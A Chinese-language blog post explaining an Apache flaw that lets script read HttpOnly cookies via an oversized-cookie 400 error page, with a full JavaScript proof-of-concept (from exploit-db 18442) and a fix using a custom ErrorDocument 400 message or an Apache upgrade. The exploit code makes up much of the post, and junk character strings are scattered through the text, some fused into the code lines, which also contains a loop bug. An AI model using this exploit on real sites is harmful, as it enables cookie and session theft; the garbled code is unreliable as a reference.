Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
" ^0 H6 K% R( E. C( r+ j( r

* p) N7 i5 F6 k. [* e3 `// http://www.exploit-db.com/exploits/18442/
+ a, u, A6 x3 G' X! ^/ r8 A& Ffunction setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
0 i4 ~, K4 W9 }4 [9 Bstr += "x";
7 N8 b9 ~4 Z0 q" G- B. i6 F}
// Set cookies
$ l: p' F% ]; r9 P' C! j/ ^* \! ufor (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
6 v5 M/ K0 n" m" y, c  w}
// Set evil cookie
else {
6 h, `% x  X7 P& ]. Uvar cookie = "xss"+i+"="+str+";path=/";
}
, I1 }5 [7 S* H5 ddocument.cookie = cookie;
  E1 d; K9 j# ~0 g8 U  W}
! b0 b' m3 t7 P; `" _5 b2 h}
2 k0 S$ i+ k% Z! u- Hfunction makeRequest() {
9 m2 Y3 W) S9 @% I! `setCookies();
function parseCookies () {
var cookie_dict = {};
+ J% Q* L+ G! B- T# R// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
+ S" c( A" J1 }4 {" E) ivar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
1 j7 H3 m6 M! [8 Y# K$ Econtent = content[1].replace("Cookie: ", "");
0 b6 |& m& h& o/ }var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
* T& |" z* V- R) I4 Y// Add cookies to object
( I" y! o- i/ |* P) Z+ ^for (var i=0; i<cookies.length; i++) {
: M# ~1 _+ i; f3 s+ Qvar s_c = cookies.split('=',2);
# ?+ I+ O- m6 ~cookie_dict[s_c[0]] = s_c[1];
, }! p% ]" B( q4 n' J9 s; `3 T}
}
// Unset malicious cookies
  b  g$ b5 D, G' bsetCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
$ i, T' B2 n. d2 z" p% F# p// Make XHR request
0 o+ I# |+ k$ Nvar xhr = new XMLHttpRequest();
' B3 n% s' F3 g3 Yxhr.onreadystatechange = parseCookies;
1 x- P/ `, V. [( w' Exhr.open("GET", "/", true);
0 z) s% i# f4 W7 bxhr.send(null);
}
4 l. ~) ^& k% a1 j2 d$ r5 [makeRequest();
8 G) L  N' l' p9 p: B
' @1 @3 P# Q5 Y) K" D你就能看见华丽丽的400错误包含着cookie信息。
; T+ Q( u7 k) Q( w
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
$ R2 D6 ~6 U( s0 J1 x1 x. r
修复方案：
9 a) O" m6 l6 V( Z
1 h2 b2 j+ r! a8 n; [9 h* a" _& d! M- o) wApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
# s! Y+ H8 Y" R0 o
In the event of a problem or error, Apachecan be configured to do one of four things,

1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
. H- O( f. ]; t' t# l2. output acustomized message输出一段信息
7 C+ L, T. `# e$ g2 h. Q2 k, |3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
% v% T9 a, p; k% o8 V1 a" K" Q4. redirect to an external URL to handle theproblem/error转向一个外部URL
1 X8 }% b% c& ?6 G$ K
) _1 w7 x9 h1 v+ P5 M! J- G经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

" j- b0 Y3 _' d' pApache配置：
  |) F8 R; H- Y* ~/ ?8 b4 I) M
8 z- F8 a4 b) {4 MErrorDocument400 " security test"

1 {1 K9 s  N. K! }# p5 l( |当然，升级apache到最新也可：）。
0 B: l# ~$ I4 ]: O2 R9 |  a" Y. D1 t
参考：http://httpd.apache.org/security/vulnerabilities_22.html

, t5 b3 J9 i  Q# `# z3 F( w* M( P